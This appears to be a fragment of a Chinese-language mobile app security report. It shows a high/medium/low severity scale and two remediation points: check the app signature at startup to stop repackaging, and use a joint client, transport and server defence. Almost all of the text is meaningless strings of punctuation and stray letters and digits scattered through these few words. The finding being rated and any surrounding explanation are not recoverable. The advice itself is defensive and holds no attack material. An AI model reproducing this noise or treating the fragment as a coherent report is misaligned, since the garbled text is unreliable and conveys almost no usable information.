7 i" d; q: C: c; g* k 5 B1 Q3 W7 B" N) ?% V 严重程度	3 |% h( s$ E# M' Y+ S8 ^4 G1 L- a 5 f2 R1 V8 M u* z g/ K9 E , `- e: \# U: D' m, _9 u 高 7 _2 G% }1 M4 N7 S: e1 G; e/ Y& z $ ^! L0 _+ Y6 O3 D( u; ~	■ ' z6 D4 e: G4 V. c , `$ t6 I0 ?9 r' P4 \# t9 @	4 e3 |8 ]; |! f( i0 { b) ~- S( Y' j / L" M. r1 i- q8 T- {' V 2 d$ P- I: W' M6 W& [# R% | 中 $ k/ i0 @4 o! h; V0 L % @7 e. A# j( ~$ u7 M. Y M4 J& N ' }7 U# r% V u6 h B	/ G) d8 P9 S. Z2 _. G& x$ h' Q7 o   " Q8 c9 w7 ]/ @( i	J6 S6 C/ H* o9 D4 r% M $ a3 X4 z5 b( z: O2 d N' D 7 W* u$ I$ ]5 j1 g! g3 r- W 低 ) [" y& ]) m+ _" Z+ y: Y	' }9 A, y1 }+ `   % i( a/ c/ x! Y' |9 \ ! J" C- n# x/ @0 w2 b& }+ u 3 y- O& I$ A Q/ U: `

: v- K, T) o, {4 O) E- {

. @% Z% j0 O' G2 M3 y

& ~# P, a# M0 z3 U   6 a6 Q7 v7 ~% t2 j

7 z. r4 ^' v! e0 }

5 i! z6 I0 b6 y 修复方法： 4 R$ A! w. @7 Y 0 T% Y& ?3 c; Q2 W# |! i# g

0 l/ {( S' y" o3 A : }3 ?- f' J& \) H; U9 d. U

* g8 k9 z; ?* T. U- s4 @0 n               1.在 APP 启动时应做签名校验防止二次打包。
: U& ?- x# [( p" m; } $ r# o% |. d* b 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 1 p, M* ^! Q* b& h& v8 L1 ]

6 q+ k) r1 [, W $ _! m5 w- _5 z$ t# B

  & t6 \! m! ^' `

* N: ~' H* p$ c) @7 F) {( Q/ C : w( P% u" m/ Q& I% P- u2 v; O + q. }5 r, H/ P. X( Y) A

/ G f' ~9 H* \! |
5 g+ p' m' F7 T% t$ S7 V8 j

/ e; E; c9 i7 h8 B